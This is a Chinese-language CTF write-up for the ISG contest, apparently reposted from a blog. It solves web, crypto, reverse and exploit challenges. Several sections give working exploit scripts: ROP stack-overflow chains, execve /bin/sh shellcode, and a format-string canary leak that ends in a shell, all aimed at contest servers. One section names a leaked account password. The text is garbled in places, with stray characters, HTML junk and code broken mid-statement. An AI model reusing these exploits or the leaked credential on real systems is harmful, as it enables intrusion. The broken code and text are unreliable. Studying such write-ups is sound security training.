<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/3170

    所有文件打包下載:ISG.zip

    Smile Web 200

    php 源代碼審計

    enter image description here

    Cryptobaby Crypto 100

    ?按照程序邏輯,把 0x403018 處的數據按 131 進制分開成字符即可。

    Pwnme Exploit 300

    漏洞為很明顯的棧溢出,但沒有提供 libc,需要自行獲取 libc 中的函數地址。

    在這里我們使用 pwntools 來獲取 system 的地址,把參數寫在 data 段并最終執行。

    執行 system 時有很奇怪的偏移問題這里稍微調整了一下最后執行 system gadget 在棧上的位置。

    #!python
    ?????#!/usr/bin/env python2
    from zio import * 
    from pwn import *
    
    @MemLeak
    def leak_write(addr):
        io.read_until('Pwn me if you can:\n')
        payload = 'A' * 24 + l64(poprdi) + l64(1) + l64(poprsi) + l64(addr) + junk +
    l64(write_plt) + l64(main) 
        io.write(payload.ljust(0x100, 'A'))
        ret = io.read(256) 
        return ret
    
    target = './pwnme'
    target = ('202.120.7.69', 34343)
    
    poprdi = 0x400663
    poprsi = 0x400661 # pop rsi; pop r15; ret ret = 0x400664
    write_got = 0x601018
    write_plt = 0x400480
    main = 0x4005bd
    junk = 'J' * 8
    data = 0x601040
    read_plt = 0x4004a0
    
    io = zio(target, print_read=False, print_write=False, timeout=100000)
    
    elf = DynELF('./pwnme', leak_write) 
    system = elf.lookup('system') 
    log.success('system: %s' % hex(system))
    
    io.read_until('Pwn me if you can:\n')
    payload = 'A' * 24 + l64(poprdi) + l64(0) + l64(poprsi) + l64(data) + junk + l64(read_plt) + l64(poprdi) + l64(data) + l64(ret) * 5 + l64(system)
    io.write(payload.ljust(0x100, 'A'))
    io.write('cat /home/pwnme/flag\0'.ljust(0x100, 'A'))
    io.interact()
    

    ???SQLMAP Misc 100

    題目提供了 sqlmap 運行時的流量,按照 SQL 語句及執行結果推斷每個字節即可。

    #!python
    ?????#!/usr/bin/env python2
    
    import sys, re
    
    def remove(idx, sign, value):
        sub = xrange(0, value) if sign == '<' else xrange(value + 1, 256) 
        for i in sub:
          if i in ans[idx]: 
              ans[idx].remove(i)
    
    f = open(sys.argv[1]).read().strip().split('\n') 
    f = map(lambda x: x.split(':', 2)[1:], f)
    ans = [set(xrange(256)) for _ in xrange(40)]
    
    for x in f:
        sql = x[0]
        mo = re.search(r'LIMIT 0,1\),(\d+),1\)\)([><])(\d+)', sql) 
        if mo:
            idx, sign, v = mo.groups() 
            idx = int(idx)
            v = int(v)
            #print idx, sign, v
            if len(x[1].strip()) == 0:
                remove(idx, sign, v) 
            else:
                if sign == '<':
                    remove(idx, '>', v - 1)
                else:
                    remove(idx, '<', v + 1)
    
    for i in xrange(len(ans)): 
        if len(ans[i]) == 1:
            sys.stdout.write(chr(list(ans[i])[0]))
    print
    

    ???###WANGRANGE Reverse 100

    逆向發現,輸出只和所有輸入字符的 XOR 結果和字符長度有關,要構造“ISG{”開頭的輸出,首先 解出 4 個關鍵的數,然后依次生成完整的輸出字符串。

    #!python
    #!/usr/bin/env python2
    dict_ = {'P':'+', 'M':'-', 'U':'*', 'V':'/', 'X':'^', ' ':')&0xffffffff)'} 
    for i in xrange(10):
        dict_[chr(ord('A') + i)] = str(i)
    
    def calc(num, s): 
        ss = ''
        count = 0
        for i in xrange(len(s)):
            ss += dict_[s[i]] 
            if s[i] == ' ':
                count += 1 
        if ss[0] in '0123456789'
            ss = str(num) + '+' + ss 
        else:
            ss = str(num) + ss
        ss = count * 2 * '(' + ss 
        return ss
    
    exe = open('wangrange_b3e5c26e63ac1af881a1afe734a4a439').read() 
    data = exe[0x15b4:0x1a83 - 0x11b4 + 0x15b4]
    i=0
    lines = []
    for line in data.split('\x20\0'):
        line = line.replace('\0' , '' ).strip()
        if line != '':
            lines.append(line) 
            i += 1
    
    PREFIX = 'ISG{' 
    keys = {}
    for i in xrange(4):
        for k in xrange(256):
            if eval(calc(k, lines[i])) % 256 == ord(PREFIX[i]):
                keys[i] = k
    ?
    flag = ''
    for i in xrange(len(lines)):
        c = chr(eval(calc(keys[i % 4], lines[i])) % 256) 
        flag += c
    
    print ' % flag
    

    ????哼!Misc 200

    發現附件中有兩張圖片,分別另存為 bmp 后做 diff 發現左下角處的像素不同,其中一張固定為 0 或 1。把不同部分的 01 串提取出來按 8bit 組成一個字節即為 flag。

    Chopper Misc 100

    把流量中下載 x.tar.gz 部分提取出來解壓即為 flag。

    RSA SYSTEM Crypto 250

    使用選擇密文攻擊的方法即可。

    #!python
    #!/usr/bin/env python2
    from zio import * 
    import fractions
    
    def encrypt(x): 
        io.read_until('Command:\n') 
        io.writeline('1') 
        io.read_until('Input Plaintext:\n') 
        io.writeline(str(x)) 
        io.read_until('Your ciphertext:\n') 
        return int(io.readline())
    
    def secret(): 
        io.read_until('Command:\n') 
        io.writeline('3') 
        io.read_until('I have no bug\n') 
        return int(io.readline())
    
    def decrypt(x): 
        io.read_until('Command:\n') 
        io.writeline('2') 
        io.read_until('Input Ciphertext:\n') 
        io.writeline(str(x)) 
        io.read_until('Your plaintext:\n') 
        return int(io.readline())
    
    HOST = '202.120.7.71'
    PORT = 43434
    io = zio((HOST, PORT))
    t2 = encrypt(2) ** 2 - encrypt(4) t3 = encrypt(3) ** 2 - encrypt(9) n = fractions.gcd(t2, t3)
    ans = secret() * encrypt(2) % n
    ans = decrypt(ans)
    print hex(ans / 2)[2:-1].decode('hex')
    

    ???Find Shell Web 200

    windows + apache2 短文件名,上傳任意文件后用文件名 md5 的前 6 位加上~1 即可訪問到上傳 的東西,內容即是 FLAG。

    Track4! Reverse 200

    先通過逆向大致看懂程序邏輯,考慮到 FLAG 包含 ISG{},可以從 trace 中定位到 00401178 處含 有 flag。把第 8,16,24,...次執行到該語句時的字符拼起來即為 flag。

    X-Area Web 300

    首先是社工部分,可以找到 [email protected] 的密碼泄露過,是 zasada911,但很想吐 槽的是為啥這個密碼是 zasada。。。。

    進去之后就是簡單的 php 源代碼審計,需要跑一個 hash,然后解碼:

    enter image description here

    enter image description here

    AFERE Misc 200

    使用這個工具解壓 apk:https://github.com/blueboxsecurity/DalvikBytecodeTampering

    驗證算法為 DES+base64 的簡單替換,寫腳本求解即可。

    #!python
    #!/usr/bin/env python2
    from base64 import b64decode 
    from Crypto.Cipher import DES
    
    base64_chars =?'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
    chars =?'S4wp902KOV7QRogXdIUCMW1/ktz8sa5c3xePGfENuDTvBFqAmrbnLlHZYyhJij6+*'
    dict_ = {}
    for i in xrange(len(chars)):
        dict_[chars[i]] = base64_chars[i]
    
    ciphertext = 'OKBvTrSKXPK3cObqoS21IW7Dg0eZ2RTYm3UrdPaVTdY*'
    new_ciphertext = ''
    for c in ciphertext:
        new_ciphertext += dict_[c][/c]
    
    ciphertext = b64decode(new_ciphertext) 
    key = 'Mem3d4Da'
    des = DES.new(key, DES.MODE_ECB)
    flag = des.decrypt(ciphertext)
    print ' % flag : s%' % flag
    

    ????###Checkin Exploit 200

    調試發現,在溢出函數的返回點上,輸入字符串的結尾 8 字節存儲在了 rbp 中,因此在這里存儲 上/bin/sh,再構造 shellcode 即可。

    #!python
    #!/usr/bin/env python2
    from zio import *
    
    # shellcode(rbp => '/bin//sh'): 
    #a: 99              cltd
    #b: 89 de           mov %ebx,%esi 
    #d: 53              push %rbx
    #e: 55              push %rbp
    #f: 48 89 e7        mov %rsp,%rdi 
    #12: 6a 3b          pushq $0x3b
    #14: 58             pop %rax
    #15: 0f 05          syscall    
    
    call_rax = 0x40070d
    shellcode = '9989de53554889e76a3b580f05'.decode('hex') + '\x90' + '/bin//sh'
    
    host = '202.120.7.73' 
    port = 44445
    io = zio((host, port))
    
    payload = shellcode + l64(call_rax)[:6] 
    io.write(payload)
    
    io.interact()
    

    ????????GIF Misc 50

    GIF 第二幀為一二維碼,內容即為 flag。

    丫丫 Crypto 400

    流量中包含了 7 組公鑰和密文。考慮到 e=3,使用 H?stad's Broadcast Attack 方法,可使用中國剩余定理對原文求解。發現 7 組原文并不完全相同,從中枚舉 3 個嘗試解密最終獲得 flag。

    #!python
    #!/usr/bin/env python2
    from operator import mod, mul, sub, add 
    import re, os, collections, sys
    import fractions
    import itertools
    
    def eea(a,b):
        """Extended Euclidean Algorithm for GCD""" 
        v1 = [a,1,0]
        v2 = [b,0,1]
        while v2[0]<>0:
            p = v1[0]//v2[0] # floor division
            v2, v1 = map(sub,v1,[p*vi for vi in v2]), v2 
        return v1
    
    def inverse(m,k): 
        """
        Return b such that b*m mod k = 1, or 0 if no solution 
        """
        v = eea(m,k)
        return (v[0]==1)*(v[1] % k)
    
    def crt(ms, _as): 
        """
        Chinese Remainder Theorem:
        ms = list of pairwise relatively prime integers as = remainders when x is divided by ms
        (ai is 'each in as', mi 'each in ms')
    
        The solution for x modulo M (M = product of ms) will be:
        x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
        where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r. 
        """
    
        M = reduce(mul,ms) # multiply ms together 
        Ms=[M/miformiinms] #listofallM/mi
        ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ms)] # uses inverse,eea 
        return reduce(add,[ai*Mi*yi for ai,Mi,yi in zip(_as,Ms,ys)]) % M
    
    def find_invpow(x,n):
        """Finds the integer component of the n'th root of x,
        an integer such that y ** n 
        """
        high = 1
        while high ** n < x:
            high *= 2
        low = high/2
        while low < high:
            mid = (low + high) // 2 
            if low < mid and mid**n < x:
                low = mid
            elif high > mid and mid**n > x:
                    high = mid
            else:
                return mid
        return mid + 1
    ?
    div = []
    rem = []
    
    dic = collections.defaultdict(dict) 
    base_dir = sys.argv[1]
    
    for i in os.listdir(base_dir):
        if re.search('getEncryptionKey.*\.php', i):
            f = open(base_dir + '/' + i).read()
            n, rkey = re.search(r'"n":"([0-9a-f]+)".*?"rkey":"([0-9a-f]+)"', f).groups() 
            dic[rkey]['n'] = int(n, 16)
    
        if re.search('login.*\.php', i):
            f = open(base_dir + '/' + i).read()
            c, rkey = re.search(r'pwd=([0-9a-f]+)&rkey=([0-9a-f]+)', f).groups() 
            dic[rkey]['c'] = int(c, 16)
    
    for rkey in itertools.combinations(dic, 3):
        div, rem = zip(*map(lambda x:(dic[x]['n'], dic[x]['c']), rkey))
        cube = crt(div, rem)
        for i in xrange(3):
            assert cube % div[i] == rem[i]
    
        x = find_invpow(cube, 3) 
        if x ** 3 != cube:
            continue
        print hex(x)[3:-1].decode('hex')
    

    ???BT Reverse 350

    #!python
    #!/usr/bin/env python2
    
    s=?"g{3q9OLNZ_bVWCyJk l sh c ax r d6 A MY t Iv P 4u i TS Q eB n Xz o R7 H U2 p F5 G Km 8 Dw } Ej f "
    msg = [3179, 2649, 729, 48, 487, 3189, 2177, 2650, 5789, 4380, 2160, 1350, 5789, 1736, 144, 2160, 4393, 1014, 5054, 3755, 49, 5789, 724, 5067, 6544, 2160, 3189, 724, 2160, 4368, 1743, 720, 1008, 293]
    
    class Node: pass
    
    def construct(it): 
        character = next(it) 
        if character != ' ':
            node = Node() 
            node.character = character 
            node.left = construct(it) 
            node.right = construct(it) 
            return node
    
    it = iter(s)
    
    ????
    root = construct(it) 
    assert len(list(it)) == 0
    
    lookup = {}
    def traverse(node, depth, num):
        lookup[num] = node.character 
        depth += 1
        if node.left:
            traverse(node.left, depth, num + 48 * depth) 
        if node.right:
            traverse(node.right, depth, num + 49 * depth) 
    
    traverse(root, depth=0, num=0)
    
    print ''.join(lookup[x] for x in msg)
    

    ????###Out of Space Misc 200

    對.net 程序分析可知需要計算’ISG’* 0xfa00000000 的 sha1。于是寫程序計算即可。需要注意.net 中的格式輸出問題。

    #!cpp
    #include <openssl/sha.h> 
    #include <cstdio> 
    #include <cstring>
    
    int main() {
        SHA_CTX c;
        SHA1_Init(&c);
        static const long BUF_SIZE = 3 << 10; 
        char buf[BUF_SIZE];
        for (int i = 0; i < BUF_SIZE; i += 3)
            memcpy(buf + i, "ISG", 3);
        long dest = 0xfa00000000L;
        long total = dest / (BUF_SIZE / 3);
    
        for (long i = 0; i < total; ++i) { 
            SHA1_Update(&c, buf, BUF_SIZE); 
            if (i % 0x100000 == 0)
                printf("%ld / %ld\n", i, total);
        }
        unsigned char ans[SHA_DIGEST_LENGTH]; 
        SHA1_Final(ans, &c);
        printf("ISG{");
        printf("%02x", ans[0]);
        for (int i = 1; i < SHA_DIGEST_LENGTH; ++i)
            printf("-%02x", ans[i]); 
        printf("}\n");
        return 0; 
    }
    

    ???

    Library Exploit 250

    在 register 功能中只能輸入 15 字節長度來觸發格式化字符串漏洞,且%字符數量有限,因此考慮 用格式化字符串漏洞泄露出 stack canary,并將某關鍵計數改大,然后再利用 query 功能中的棧 溢出來獲取 shell。

    #!python
    #!/usr/bin/env python2
    from zio import *
    
    target = ('202.120.7.68', 23333)
    io = zio(target, print_read=False, print_write=False) 
    
    count_addr = 0x804b008
    
    io.read_until('4. Quit\n') 
    io.write('1\n')
    
    payload = l32(count_addr + 3) + '%35$p%10$hn\n' 
    io.write(payload)
    io.read_until('0x')
    canary = io.read(8).decode('hex')[::-1]
    print '[+] canary : %s' % canary.encode('hex')
    io.read_until(?'4. Quit\n')
    
    put_plt = 0x8048520 
    printf_got = 0x804afc8 
    read_plt = 0x80484d0 
    junk = 'JJJJ'
    popret = 0x8048c3f
    pop3ret = 0x8048c3d
    new_stack = 0x804bf30
    leave_ret = 0x8048aa6
    
    
    io.write('2\n')
    payload = 'A' * 0x100 + canary + 'A' * 12
    payload += l32(put_plt) + l32(popret) + l32(printf_got)
    payload += l32(read_plt) + l32(pop3ret) + l32(0) + l32(new_stack) + l32(32)
    payload += l32(popret) +  l32(new_stack) + l32(leave_ret)
    payload += '\n'
    
    io.write(payload) 
    io.read_until(':\'(\n')
    printf = l32(io.read(4))
    print '[+] printf : %s' % hex(printf)
    system = printf - 0x4d1f0 + 0x40100 
    binsh = printf - 0x4d1f0 + 0x161304 
    print '[+] system : %s' % hex(system) 
    print '[+] binsh : %s' % hex(binsh)
    
    payload = junk + l32(system) + junk + l32(binsh) 
    io.write(payload.ljust(32, 'A'))
    
    io.interact()
    

    ????Safesite Web 400

    Up-to-Date Web 100

    bash 漏洞,flag 在/var/www 下 ?

    enter image description here

    97av